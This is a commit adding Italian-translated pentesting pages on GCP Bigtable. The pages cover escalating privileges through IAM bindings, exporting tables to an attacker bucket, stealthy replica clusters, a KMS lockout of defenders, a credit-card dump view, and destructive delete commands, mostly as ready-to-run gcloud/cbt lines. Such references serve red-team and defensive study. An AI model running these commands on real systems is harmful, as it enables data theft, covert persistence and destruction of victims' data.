Translated ['src/pentesting-cloud/gcp-security/gcp-privilege-escalation/

This commit is contained in:
Translator
2025-11-19 14:44:53 +00:00
parent 295c135cb9
commit 04fb73401c
4 changed files with 500 additions and 2 deletions

View File

@@ -0,0 +1,52 @@
# GCP - Bigtable Persistence
{{#include ../../../banners/hacktricks-training.md}}
## Bigtable
Per maggiori informazioni su Bigtable consulta:
{{#ref}}
../gcp-services/gcp-bigtable-enum.md
{{#endref}}
### App Profile dedicato all'attaccante
**Permissions:** `bigtable.appProfiles.create`, `bigtable.appProfiles.update`.
Crea un app profile che instrada il traffico verso il tuo replica cluster e abilita Data Boost in modo da non dipendere mai da provisioned nodes che i difensori potrebbero notare.
```bash
gcloud bigtable app-profiles create stealth-profile \
--instance=<instance-id> --route-any --restrict-to=<attacker-cluster> \
--row-affinity --description="internal batch"
gcloud bigtable app-profiles update stealth-profile \
--instance=<instance-id> --data-boost \
--data-boost-compute-billing-owner=HOST_PAYS
```
Finché questo profilo esiste, puoi riconnetterti usando credenziali nuove che fanno riferimento ad esso.
### Mantieni il tuo cluster di replica
**Permessi:** `bigtable.clusters.create`, `bigtable.instances.update`, `bigtable.clusters.list`.
Crea un cluster con il numero minimo di nodi in una regione poco trafficata. Anche se le tue identità client scompaiono, **il cluster conserva una copia completa di ogni tabella** fino a quando i difensori non lo rimuovono esplicitamente.
```bash
gcloud bigtable clusters create dark-clone \
--instance=<instance-id> --zone=us-west4-b --num-nodes=1
```
Tienilo d'occhio con `gcloud bigtable clusters describe dark-clone --instance=<instance-id>` così puoi scalare immediatamente quando devi estrarre dati.
### Blocca la replica dietro il tuo CMEK
**Permessi:** `bigtable.clusters.create`, `cloudkms.cryptoKeyVersions.useToEncrypt` on the attacker-owned key.
Usa la tua chiave KMS quando avvii uno clone. Senza quella chiave, Google non può ricreare o eseguire il failover del cluster, quindi le blue teams devono coordinarsi con te prima di toccarlo.
```bash
gcloud bigtable clusters create cmek-clone \
--instance=<instance-id> --zone=us-east4-b --num-nodes=1 \
--kms-key=projects/<attacker-proj>/locations/<kms-location>/keyRings/<ring>/cryptoKeys/<key>
```
Ruota o disabilita la key nel tuo project per brickare istantaneamente la replica (pur permettendoti di riattivarla in seguito).
{{#include ../../../banners/hacktricks-training.md}}

View File

@@ -0,0 +1,252 @@
# GCP - Bigtable Post Exploitation
{{#include ../../../banners/hacktricks-training.md}}
## Bigtable
Per ulteriori informazioni su Bigtable, vedi:
{{#ref}}
../gcp-services/gcp-bigtable-enum.md
{{#endref}}
> [!TIP]
> Installa il `cbt` CLI una volta tramite il Cloud SDK in modo che i comandi sottostanti funzionino localmente:
>
> ```bash
> gcloud components install cbt
> ```
### Leggere righe
**Permessi:** `bigtable.tables.readRows`
`cbt` è incluso nel Cloud SDK e comunica con le admin/data APIs senza richiedere middleware. Puntalo sul progetto/istanza compromesso ed esporta le righe direttamente dalla tabella. Limita la scansione se vuoi solo dare un'occhiata.
```bash
# Install cbt
gcloud components update
gcloud components install cbt
# Read entries with creds of gcloud
cbt -project=<victim-proj> -instance=<instance-id> read <table-id>
```
### Scrivere righe
**Permessi:** `bigtable.tables.mutateRows`, (avrai bisogno di `bigtable.tables.readRows` per confermare la modifica).
Usa lo stesso strumento per upsert arbitrary cells. Questo è il modo più veloce per backdoor configs, drop web shells, o plant poisoned dataset rows.
```bash
# Inject a new row
cbt -project=<victim-proj> -instance=<instance-id> set <table> <row-key> <family>:<column>=<value>
cbt -project=<victim-proj> -instance=<instance-id> set <table-id> user#1337 profile:name="Mallory" profile:role="admin" secrets:api_key=@/tmp/stealme.bin
# Verify the injected row
cbt -project=<victim-proj> -instance=<instance-id> read <table-id> rows=user#1337
```
`cbt set` accetta raw bytes tramite la sintassi `@/path`, quindi puoi inviare compiled payloads o serialized protobufs esattamente come li aspettano i servizi downstream.
### Esporta righe nel tuo bucket
**Permessi:** `dataflow.jobs.create`, `resourcemanager.projects.get`, `iam.serviceAccounts.actAs`
È possibile exfiltrate i contenuti di un'intera tabella in un bucket controllato dall'attacker lanciando un job Dataflow che streama le righe in un bucket GCS che controlli.
> [!NOTE]
> Nota che avrai bisogno del permesso `iam.serviceAccounts.actAs` su un SA con permessi sufficienti per eseguire l'export (per impostazione predefinita, se non indicato diversamente, verrà usato il default compute SA).
```bash
gcloud dataflow jobs run <job-name> \
--gcs-location=gs://dataflow-templates-us-<REGION>/<VERSION>/Cloud_Bigtable_to_GCS_Json \
--project=<PROJECT> \
--region=<REGION> \
--parameters=<PROJECT>,bigtableInstanceId=<INSTANCE_ID>,bigtableTableId=<TABLE_ID>,filenamePrefix=<PREFIX>,outputDirectory=gs://<BUCKET>/raw-json/ \
--staging-location=gs://<BUCKET>/staging/
# Example
gcloud dataflow jobs run dump-bigtable3 \
--gcs-location=gs://dataflow-templates-us-central1/latest/Cloud_Bigtable_to_GCS_Json \
--project=gcp-labs-3uis1xlx \
--region=us-central1 \
--parameters=bigtableProjectId=gcp-labs-3uis1xlx,bigtableInstanceId=avesc-20251118172913,bigtableTableId=prod-orders,filenamePrefix=prefx,outputDirectory=gs://deleteme20u9843rhfioue/raw-json/ \
--staging-location=gs://deleteme20u9843rhfioue/staging/
```
> [!NOTE]
> Switch the template to `Cloud_Bigtable_to_GCS_Parquet` or `Cloud_Bigtable_to_GCS_SequenceFile` if you want Parquet/SequenceFile outputs instead of JSON. The permissions are the same; only the template path changes.
### Importare righe
**Autorizzazioni:** `dataflow.jobs.create`, `resourcemanager.projects.get`, `iam.serviceAccounts.actAs`
È possibile importare il contenuto di un'intera tabella da un bucket controllato dall'attacker avviando un Dataflow job che scrive righe in un GCS bucket che controlli. Per questo l'attacker dovrà prima creare un file parquet con i dati da importare rispettando lo schema previsto. L'attacker potrebbe prima esportare i dati in formato parquet seguendo la tecnica precedente con l'impostazione `Cloud_Bigtable_to_GCS_Parquet` e aggiungere nuove voci nel file parquet scaricato
> [!NOTE]
> Nota che avrai bisogno del permesso `iam.serviceAccounts.actAs` su un SA con permessi sufficienti per eseguire l'export (per impostazione predefinita, se non diversamente indicato, verrà usato il default compute SA).
```bash
gcloud dataflow jobs run import-bt-$(date +%s) \
--region=<REGION> \
--gcs-location=gs://dataflow-templates-<REGION>/<VERSION>>/GCS_Parquet_to_Cloud_Bigtable \
--project=<PROJECT> \
--parameters=bigtableProjectId=<PROJECT>,bigtableInstanceId=<INSTANCE-ID>,bigtableTableId=<TABLE-ID>,inputFilePattern=gs://<BUCKET>/import/bigtable_import.parquet \
--staging-location=gs://<BUCKET>/staging/
# Example
gcloud dataflow jobs run import-bt-$(date +%s) \
--region=us-central1 \
--gcs-location=gs://dataflow-templates-us-central1/latest/GCS_Parquet_to_Cloud_Bigtable \
--project=gcp-labs-3uis1xlx \
--parameters=bigtableProjectId=gcp-labs-3uis1xlx,bigtableInstanceId=avesc-20251118172913,bigtableTableId=prod-orders,inputFilePattern=gs://deleteme20u9843rhfioue/import/parquet_prefx-00000-of-00001.parquet \
--staging-location=gs://deleteme20u9843rhfioue/staging/
```
### Ripristino dei backup
**Permissions:** `bigtable.backups.restore`, `bigtable.tables.create`.
Un attacker con questi permessi può ripristinare un backup in una nuova tabella sotto il suo controllo per poter recuperare dati sensibili precedenti.
```bash
gcloud bigtable backups list --instance=<INSTANCE_ID_SOURCE> \
--cluster=<CLUSTER_ID_SOURCE>
gcloud bigtable instances tables restore \
--source=projects/<PROJECT_ID_SOURCE>/instances/<INSTANCE_ID_SOURCE>/clusters/<CLUSTER_ID>/backups/<BACKUP_ID> \
--async \
--destination=<TABLE_ID_NEW> \
--destination-instance=<INSTANCE_ID_DESTINATION> \
--project=<PROJECT_ID_DESTINATION>
```
### Ripristinare tabelle
**Autorizzazioni:** `bigtable.tables.undelete`
Bigtable supporta la soft-deletion con un periodo di grazia (tipicamente 7 giorni per impostazione predefinita). Durante questa finestra, un attaccante con il permesso `bigtable.tables.undelete` può ripristinare una tabella recentemente cancellata e recuperare tutti i suoi dati, accedendo potenzialmente a informazioni sensibili che si pensava fossero state distrutte.
This is particularly useful for:
- Recupero dei dati da tabelle cancellate dai difensori durante la risposta agli incidenti
- Accesso a dati storici eliminati intenzionalmente
- Invertire cancellazioni accidentali o malevole per mantenere la persistenza
```bash
# List recently deleted tables (requires bigtable.tables.list)
gcloud bigtable instances tables list --instance=<instance-id> \
--show-deleted
# Undelete a table within the retention period
gcloud bigtable instances tables undelete <table-id> \
--instance=<instance-id>
```
> [!NOTE]
> L'operazione undelete funziona solo entro il periodo di retention configurato (predefinito 7 giorni). Dopo la scadenza di questa finestra, la tabella e i suoi dati vengono eliminati definitivamente e non possono essere recuperati tramite questo metodo.
### Crea viste autorizzate
**Permessi:** `bigtable.authorizedViews.create`, `bigtable.tables.readRows`, `bigtable.tables.mutateRows`
Le viste autorizzate consentono di presentare un sottoinsieme curato della tabella. Invece di rispettare il least privilege, usale per pubblicare **esattamente gli insiemi di colonne/righe sensibili** che ti interessano e whitelistare il tuo principal.
> [!WARNING]
> Il punto è che per creare una vista autorizzata devi anche poter leggere e mutare le righe nella tabella di base; quindi non ottieni permessi aggiuntivi e questa tecnica è per lo più inutile.
```bash
cat <<'EOF' > /tmp/credit-cards.json
{
"subsetView": {
"rowPrefixes": ["acct#"],
"familySubsets": {
"pii": {
"qualifiers": ["cc_number", "cc_cvv"]
}
}
}
}
EOF
gcloud bigtable authorized-views create card-dump \
--instance=<instance-id> --table=<table-id> \
--definition-file=/tmp/credit-cards.json
gcloud bigtable authorized-views add-iam-policy-binding card-dump \
--instance=<instance-id> --table=<table-id> \
--member='user:<attacker@example.com>' --role='roles/bigtable.reader'
```
Poiché l'accesso è limitato alla view, i difensori spesso trascurano il fatto che hai appena creato un nuovo endpoint ad alta sensibilità.
### Leggere Authorized Views
**Permessi:** `bigtable.authorizedViews.readRows`
Se hai accesso a un Authorized View, puoi leggere i dati da esso usando le librerie client di Bigtable specificando il nome dell'authorized view nelle tue richieste di lettura. Nota che l'authorized view probabilmente limiterà ciò a cui puoi accedere dalla tabella. Di seguito è riportato un esempio in Python:
```python
from google.cloud import bigtable
from google.cloud.bigtable_v2 import BigtableClient as DataClient
from google.cloud.bigtable_v2 import ReadRowsRequest
# Set your project, instance, table, view id
PROJECT_ID = "gcp-labs-3uis1xlx"
INSTANCE_ID = "avesc-20251118172913"
TABLE_ID = "prod-orders"
AUTHORIZED_VIEW_ID = "auth_view"
client = bigtable.Client(project=PROJECT_ID, admin=True)
instance = client.instance(INSTANCE_ID)
table = instance.table(TABLE_ID)
data_client = DataClient()
authorized_view_name = f"projects/{PROJECT_ID}/instances/{INSTANCE_ID}/tables/{TABLE_ID}/authorizedViews/{AUTHORIZED_VIEW_ID}"
request = ReadRowsRequest(
authorized_view_name=authorized_view_name
)
rows = data_client.read_rows(request=request)
for response in rows:
for chunk in response.chunks:
if chunk.row_key:
row_key = chunk.row_key.decode('utf-8') if isinstance(chunk.row_key, bytes) else chunk.row_key
print(f"Row: {row_key}")
if chunk.family_name:
family = chunk.family_name.value if hasattr(chunk.family_name, 'value') else chunk.family_name
qualifier = chunk.qualifier.value.decode('utf-8') if hasattr(chunk.qualifier, 'value') else chunk.qualifier.decode('utf-8')
value = chunk.value.decode('utf-8') if isinstance(chunk.value, bytes) else str(chunk.value)
print(f" {family}:{qualifier} = {value}")
```
### Denial of Service tramite operazioni di eliminazione
**Permessi:** `bigtable.appProfiles.delete`, `bigtable.authorizedViews.delete`, `bigtable.authorizedViews.deleteTagBinding`, `bigtable.backups.delete`, `bigtable.clusters.delete`, `bigtable.instances.delete`, `bigtable.tables.delete`
Qualsiasi dei permessi di eliminazione di Bigtable può essere sfruttato per attacchi denial of service. Un attaccante con questi permessi può interrompere le operazioni cancellando risorse critiche di Bigtable:
- **`bigtable.appProfiles.delete`**: Elimina i profili applicazione, interrompendo le connessioni dei client e le configurazioni di routing
- **`bigtable.authorizedViews.delete`**: Rimuove le viste autorizzate, interrompendo i percorsi di accesso legittimi per le applicazioni
- **`bigtable.authorizedViews.deleteTagBinding`**: Rimuove le associazioni di tag dalle viste autorizzate
- **`bigtable.backups.delete`**: Cancella gli snapshot di backup, eliminando le opzioni di disaster recovery
- **`bigtable.clusters.delete`**: Elimina interi cluster, causando immediata indisponibilità dei dati
- **`bigtable.instances.delete`**: Rimuove intere istanze Bigtable, cancellando tutte le tabelle e le configurazioni
- **`bigtable.tables.delete`**: Elimina singole tabelle, causando perdita di dati e malfunzionamenti delle applicazioni
```bash
# Delete a table
gcloud bigtable instances tables delete <table-id> \
--instance=<instance-id>
# Delete an authorized view
gcloud bigtable authorized-views delete <view-id> \
--instance=<instance-id> --table=<table-id>
# Delete a backup
gcloud bigtable backups delete <backup-id> \
--instance=<instance-id> --cluster=<cluster-id>
# Delete an app profile
gcloud bigtable app-profiles delete <profile-id> \
--instance=<instance-id>
# Delete a cluster
gcloud bigtable clusters delete <cluster-id> \
--instance=<instance-id>
# Delete an entire instance
gcloud bigtable instances delete <instance-id>
```
> [!WARNING]
> Le operazioni di eliminazione sono spesso immediate e irreversibili. Assicurati che esistano backup prima di testare questi comandi, poiché possono causare perdita permanente di dati e gravi interruzioni del servizio.
{{#include ../../../banners/hacktricks-training.md}}

View File

@@ -0,0 +1,106 @@
# GCP - Bigtable Privesc
{{#include ../../../banners/hacktricks-training.md}}
## Bigtable
Per maggiori informazioni su Bigtable consulta:
{{#ref}}
../gcp-services/gcp-bigtable-enum.md
{{#endref}}
### `bigtable.instances.setIamPolicy`
**Permessi:** `bigtable.instances.setIamPolicy` (e solitamente `bigtable.instances.getIamPolicy` per leggere i binding correnti).
Possedere la IAM policy dell'istanza ti permette di concederti **`roles/bigtable.admin`** (o qualsiasi ruolo personalizzato) che si propaga a ogni cluster, tutte le tabelle, i backup e le viste autorizzate presenti nell'istanza.
```bash
gcloud bigtable instances add-iam-policy-binding <instance-id> \
--member='user:<attacker@example.com>' \
--role='roles/bigtable.admin'
```
> [!TIP]
> Se non puoi elencare i binding esistenti, crea un nuovo documento di policy e applicalo con `gcloud bigtable instances set-iam-policy`, a condizione che tu rimanga incluso nella policy.
Dopo aver ottenuto questo permesso controlla nella [**Bigtable Post Exploitation section**](../gcp-post-exploitation/gcp-bigtable-post-exploitation.md) le tecniche per altri modi di abusare dei permessi di Bigtable.
### `bigtable.tables.setIamPolicy`
**Permessi:** `bigtable.tables.setIamPolicy` (facoltativamente `bigtable.tables.getIamPolicy`).
Le policy dell'istanza possono essere rese restrittive mentre singole tabelle vengono delegate. Se puoi modificare l'IAM della tabella puoi **promuoverti a proprietario del dataset target** senza toccare altri carichi di lavoro.
```bash
gcloud bigtable tables add-iam-policy-binding <table-id> \
--instance=<instance-id> \
--member='user:<attacker@example.com>' \
--role='roles/bigtable.admin'
```
Dopo aver verificato questo permesso consulta la [**Bigtable Post Exploitation section**](../gcp-post-exploitation/gcp-bigtable-post-exploitation.md) per altre tecniche su come abusare dei permessi di Bigtable.
### `bigtable.backups.setIamPolicy`
**Permissions:** `bigtable.backups.setIamPolicy`
I backup possono essere ripristinati in **qualsiasi istanza in qualsiasi progetto** che controlli. Prima, concedi alla tua identità l'accesso al backup, quindi ripristinalo in una sandbox dove detieni ruoli Admin/Owner.
Se hai il permesso `bigtable.backups.setIamPolicy` potresti concederti il permesso `bigtable.backups.restore` per ripristinare vecchi backup e cercare di accedere a informazioni sensibili.
```bash
# Take ownership of the snapshot
gcloud bigtable backups add-iam-policy-binding <backup-id> \
--instance=<instance-id> --cluster=<cluster-id> \
--member='user:<attacker@example.com>' \
--role='roles/bigtable.admin'
```
Dopo aver ottenuto questo permesso, consulta la [**Bigtable Post Exploitation section**](../gcp-post-exploitation/gcp-bigtable-post-exploitation.md) per vedere come ripristinare un backup.
### Aggiorna authorized view
**Permissions:** `bigtable.authorizedViews.update`
Authorized Views dovrebbero oscurare righe/colonne. Modificarle o eliminarle **rimuove le salvaguardie granulari** su cui i difensori fanno affidamento.
```bash
# Broaden the subset by uploading a permissive definition
gcloud bigtable authorized-views update <view-id> \
--instance=<instance-id> --table=<table-id> \
--definition-file=/tmp/permissive-view.json --ignore-warnings
# Json example not filtering any row or column
cat <<'EOF' > /tmp/permissive-view.json
{
"subsetView": {
"rowPrefixes": [""],
"familySubsets": {
"<SOME FAMILITY NAME USED IN THE CURRENT TABLE>": {
"qualifierPrefixes": [""]
}
}
}
}
EOF
# Describe the authorized view to get a family name
gcloud bigtable authorized-views describe <view-id> \
--instance=<instance-id> --table=<table-id>
```
Dopo aver ottenuto questo permesso, consulta la [**Bigtable Post Exploitation section**](../gcp-post-exploitation/gcp-bigtable-post-exploitation.md) per verificare come leggere da un Authorized View.
### `bigtable.authorizedViews.setIamPolicy`
**Permessi:** `bigtable.authorizedViews.setIamPolicy`.
Un attacker con questo permesso può concedersi l'accesso a un Authorized View, che potrebbe contenere dati sensibili ai quali altrimenti non avrebbe accesso.
```bash
# Give more permissions over an existing view
gcloud bigtable authorized-views add-iam-policy-binding <view-id> \
--instance=<instance-id> --table=<table-id> \
--member='user:<attacker@example.com>' \
--role='roles/bigtable.viewer'
```
Dopo aver eseguito questo controllo dei permessi nella [**Bigtable Post Exploitation section**](../gcp-post-exploitation/gcp-bigtable-post-exploitation.md) per verificare come leggere da una vista autorizzata.
{{#include ../../../banners/hacktricks-training.md}}

View File

@@ -2,9 +2,70 @@
{{#include ../../../banners/hacktricks-training.md}}
## [Bigtable](https://cloud.google.com/sdk/gcloud/reference/bigtable/) <a href="#cloud-bigtable" id="cloud-bigtable"></a>
## Bigtable
Un servizio di database NoSQL completamente gestito e scalabile per carichi di lavoro analitici e operativi di grandi dimensioni con una disponibilità fino al 99,999%. [Learn more](https://cloud.google.com/bigtable).
Google Cloud Bigtable è un database NoSQL fully managed e scalabile progettato per applicazioni che richiedono throughput molto elevato e latenza molto bassa. È pensato per gestire quantità massive di dati — petabyte su migliaia di nodi — fornendo comunque prestazioni rapide in lettura e scrittura. Bigtable è ideale per carichi di lavoro come dati di serie temporali, telemetria IoT, analisi finanziarie, motori di personalizzazione e database operativi su larga scala. Usa come modello di archiviazione sottostante una mappa ordinata, multidimensionale, sparsa e distribuita, il che la rende efficiente nello stoccare tabelle “wide” dove molte colonne possono essere vuote. [Learn more](https://cloud.google.com/bigtable).
### Gerarchia
1. **Bigtable Instance**
Una istanza Bigtable è la risorsa di livello superiore che crei.
Non memorizza dati di per sé — pensala come un contenitore logico che raggruppa cluster e tabelle.
Esistono due tipi di istanze:
- Development instance (single-node, economica, non per ambienti di produzione)
- Production instance (può avere più cluster)
2. **Clusters**
Un cluster contiene le risorse di calcolo e storage effettive usate per servire i dati di Bigtable.
- Ogni cluster risiede in una singola regione.
- È composto da nodi, che forniscono CPU, RAM e capacità di rete.
- Puoi creare istanze multi-cluster per alta disponibilità o letture/scritture globali.
- I dati vengono replicati automaticamente tra i cluster della stessa istanza.
Importante:
- Le tabelle appartengono allistanza, non a un cluster specifico.
- I cluster forniscono semplicemente le risorse per servire i dati.
3. **Tables**
Una tabella in Bigtable è simile a una tabella in database NoSQL:
- I dati sono memorizzati in righe, identificate da una row key.
- Ogni riga contiene column family, che a loro volta contengono colonne.
- È sparsa: le celle vuote non consumano spazio.
- Bigtable memorizza i dati ordinati lessicograficamente per row key.
Le tabelle sono servite da tutti i cluster nellistanza.
4. **Tablets (and Hot Tablets)**
Bigtable suddivide ogni tabella in partizioni orizzontali chiamate tablets. Un tablet è:
- Un intervallo contiguo di row key.
- Memorizzato su un singolo nodo in un dato momento.
- I tablet vengono automaticamente splittati, uniti e spostati da Bigtable.
Un **hot tablet** si verifica quando:
- Troppe letture o scritture colpiscono lo stesso intervallo di row-key (lo stesso tablet).
- Quel tablet/nodo specifico diventa sovraccarico.
- Questo porta a hotspot (colli di bottiglia nelle prestazioni).
5. **Authorized Views**
Le authorized views permettono di creare un sottoinsieme dei dati di una tabella che può essere condiviso con utenti o applicazioni specifiche senza dare accesso allintera tabella. Questo è utile per:
- Limitare laccesso a dati sensibili.
- Fornire accesso in sola lettura a colonne o righe specifiche.
6. **App Profiles**
Un app profile Bigtable è una configurazione che definisce come una specifica applicazione o client dovrebbe interagire con unistanza Bigtable, specialmente in ambienti con più cluster. Controlla il comportamento di routing — se le richieste devono essere indirizzate a un singolo cluster o distribuite tra più cluster per alta disponibilità — e governa come le scritture vengono replicate, scegliendo tra modalità sincrona (consistenza più forte) o asincrona (minore latenza).
```bash
# Cloud Bigtable
gcloud bigtable instances list
@@ -15,6 +76,11 @@ gcloud bigtable instances get-iam-policy <instance>
gcloud bigtable clusters list
gcloud bigtable clusters describe <cluster>
## Tables
gcloud bigtable tables list --instance <INSTANCE>
gcloud bigtable tables describe --instance <INSTANCE> <TABLE>
gcloud bigtable tables get-iam-policy --instance <INSTANCE> <TABLE>
## Backups
gcloud bigtable backups list --instance <INSTANCE>
gcloud bigtable backups describe --instance <INSTANCE> <backupname>
@@ -26,5 +92,27 @@ gcloud bigtable hot-tablets list
## App Profiles
gcloud bigtable app-profiles list --instance <INSTANCE>
gcloud bigtable app-profiles describe --instance <INSTANCE> <app-prof>
## Authorized Views
gcloud bigtable authorized-views list --instance <INSTANCE> --table <TABLE>
gcloud bigtable authorized-views describe --instance <INSTANCE> --table <TABLE> <VIEW>
```
## Privilege Escalation
{{#ref}}
../gcp-privilege-escalation/gcp-bigtable-privesc.md
{{#endref}}
## Post Exploitation
{{#ref}}
../gcp-post-exploitation/gcp-bigtable-post-exploitation.md
{{#endref}}
## Persistence
{{#ref}}
../gcp-persistence/gcp-bigtable-persistence.md
{{#endref}}
{{#include ../../../banners/hacktricks-training.md}}